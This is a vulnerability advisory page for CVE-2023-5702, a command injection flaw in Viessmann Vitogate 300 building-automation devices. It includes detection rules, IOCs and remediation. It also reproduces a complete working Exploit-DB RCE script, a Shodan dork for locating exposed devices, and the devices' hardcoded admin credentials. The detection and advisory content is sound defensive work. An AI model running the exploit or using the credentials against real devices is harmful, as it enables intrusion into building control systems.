CVE-2023-5702
Executive Summary
CVE-2023-5702 is a critical vulnerability affecting Viessmann Vitogate 300 devices up to version 2.1.3.0. The vulnerability allows for Remote Code Execution (RCE) via command injection in the /cgi-bin/vitogate.cgi endpoint. The vendor has not responded to disclosure attempts, and no official patch is available. The exploit has been publicly released, increasing the risk of widespread exploitation. The CVSS score is 4.3 (Medium), but the actual impact is higher due to the RCE capability and the presence of hardcoded credentials.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It affects an embedded device (Viessmann Vitogate 300) and its firmware. The risk is primarily to operational technology (OT) environments where these devices are deployed for building automation.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: High (due to public exploit, no patch, and hardcoded credentials)
Deep Dive & Mechanics
The vulnerability is a command injection flaw in the /cgi-bin/vitogate.cgi endpoint. The device accepts a JSON payload with a params object containing an ipaddr field. The application does not properly sanitize user input, allowing an attacker to inject arbitrary operating system commands by appending them after a semicolon (;) in the ipaddr parameter.
The exploit leverages the put method and a specific form (form-4-7). The injected command is executed with the privileges of the web server, which typically runs as root on embedded devices. This allows an attacker to execute arbitrary commands, potentially leading to full device compromise.
Additionally, the device has hardcoded administrative credentials (vitomaster:viessmann1917 and vitogate:viessmann), which can be used for initial access or privilege escalation.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
The vulnerable code likely processes the ipaddr parameter without sanitization, passing it directly to a system call or shell command.
# Vulnerable Python-like pseudocode
import subprocess
import json
def handle_request(data):
ipaddr = data['params']['ipaddr']
# No sanitization - command injection possible
command = f"ping -c 1 {ipaddr}"
subprocess.call(command, shell=True)
Patched Code (Conceptual): A patched version would sanitize the input, validate it against a whitelist, or use a safe API that does not invoke a shell.
# Patched Python-like pseudocode
import subprocess
import json
import re
def handle_request(data):
ipaddr = data['params']['ipaddr']
# Validate IP address format
if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ipaddr):
return "Invalid IP address"
# Use a safe API without shell=True
subprocess.call(["ping", "-c", "1", ipaddr])
Exploitation & Lab Setup
Red Team
The following exploit code (from Exploit-DB) demonstrates how to achieve RCE.
# Exploit Title: Viessmann Vitogate 300 <= 2.1.3.0 - Remote Code Execution (RCE)
# Shodan Dork: http.title:'Vitogate 300'
# Exploit Author: ByteHunter
# Email: 0xByteHunter@proton.me
# Version: versions up to 2.1.3.0
# Tested on: 2.1.1.0
# CVE : CVE-2023-5702 & CVE-2023-5222
import argparse
import requests
def banner():
banner = """
╔═══════════════════════════════════╗
CVE-2023-5702
Vitogate 300 RCE
Author: ByteHunter
╚═══════════════════════════════════╝
"""
print(banner)
def send_post_request(target_ip, command, target_port):
payload = {
"method": "put",
"form": "form-4-7",
"session": "",
"params": {
"ipaddr": f"1;{command}"
}
}
headers = {
"Host": target_ip,
"Content-Length": str(len(str(payload))),
"Content-Type": "application/json"
}
url = f"http://{target_ip}:{target_port}/cgi-bin/vitogate.cgi"
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Result:")
print(response.text)
else:
print(f"Request failed! status code: {response.status_code}")
def main():
parser = argparse.ArgumentParser(description="Vitogate 300 RCE & Hardcoded Credentials")
parser.add_argument("--target", required=False, help="Target IP address")
parser.add_argument("--port", required=False, help="Target port",default="80")
parser.add_argument("--command", required=False, help="Command")
parser.add_argument("--creds", action="store_true", help="Show hardcoded credentials")
args = parser.parse_args()
if args.creds:
print("Vitogate 300 hardcoded administrative accounts credentials")
print("Username: vitomaster, Password: viessmann1917")
print("Username: vitogate, Password: viessmann")
else:
target_ip = args.target
target_port = args.port
command = args.command
if not (target_ip and command):
print("Both --target and --command options are required.\nor use --creds option to see hardcoded Credentials.")
return
send_post_request(target_ip, command,target_port)
if __name__ == "__main__":
banner()
main()
Usage:
- Identify a target using the Shodan dork:
http.title:'Vitogate 300' - Run the exploit:
python3 exploit.py --target <TARGET_IP> --port 80 --command "id" - To view hardcoded credentials:
python3 exploit.py --creds
Lab Setup:
- Use a virtualized environment with a Viessmann Vitogate 300 firmware image (if available) or a vulnerable device in an isolated network.
- Ensure the device is accessible via HTTP on port 80.
Blue Team
Detection:
- Monitor for POST requests to
/cgi-bin/vitogate.cgiwith JSON payloads containing semicolons or shell metacharacters. - Alert on successful exploitation attempts (HTTP 200 responses with command output).
Hunting:
- Search for unauthorized processes or network connections originating from the device.
- Check for modifications to system files or configuration.
Indicators of Compromise (IOCs)
Network:
- POST requests to
/cgi-bin/vitogate.cgiwithContent-Type: application/json - Payloads containing
"ipaddr": "1;" - Outbound connections from the device to unknown IPs (e.g., for reverse shells)
- POST requests to
Host:
- Unexpected processes running on the device (e.g.,
bash,nc,python) - New user accounts or modified credentials
- Unauthorized SSH or Telnet sessions
- Unexpected processes running on the device (e.g.,
File:
- Modified
/etc/passwdor/etc/shadow - Presence of web shells or scripts in
/cgi-bin/
- Modified
Detection Engineering
YARA Rule
rule CVE_2023_5702_Viessmann_Vitogate_RCE {
meta:
description = "Detects exploit attempts for CVE-2023-5702"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-5702"
strings:
$json_payload = /"ipaddr"\s*:\s*"[^"]*;/ nocase
$cgi_path = "/cgi-bin/vitogate.cgi"
$method_put = "\"method\":\"put\""
condition:
all of them
}
Sigma Rule
title: CVE-2023-5702 Viessmann Vitogate 300 RCE Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to vitogate.cgi with command injection payloads
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-5702
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/vitogate.cgi'
cs-content-type: 'application/json'
cs-uri-query|contains: 'ipaddr'
condition: selection
falsepositives:
- Legitimate administrative actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-5702 Viessmann Vitogate 300 RCE Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/vitogate.cgi"; http_uri;
content:"application/json"; http_content_type;
content:"ipaddr"; http_client_body;
pcre:"/\"ipaddr\"\s*:\s*\"[^\"]*;/Pi";
reference:cve,2023-5702;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place Vitogate 300 devices on a separate VLAN with strict firewall rules.
- Disable unnecessary services: If possible, disable the web interface or restrict access to trusted IPs only.
- Change default credentials: Use strong, unique passwords for all accounts.
Long-term Fix:
- Vendor Patch: Contact Viessmann for an official patch. Since the vendor has not responded, consider replacing the device with a supported alternative.
- Firmware Update: Monitor for any firmware updates that address this vulnerability.
Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to block command injection attempts.
- Implement network segmentation to limit the blast radius.
- Enable logging and monitoring for suspicious activity.
Valters IT
Securing Your Digital Frontier
{/* [Security Hash: 4883B2F2739E62E09F4A3434] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.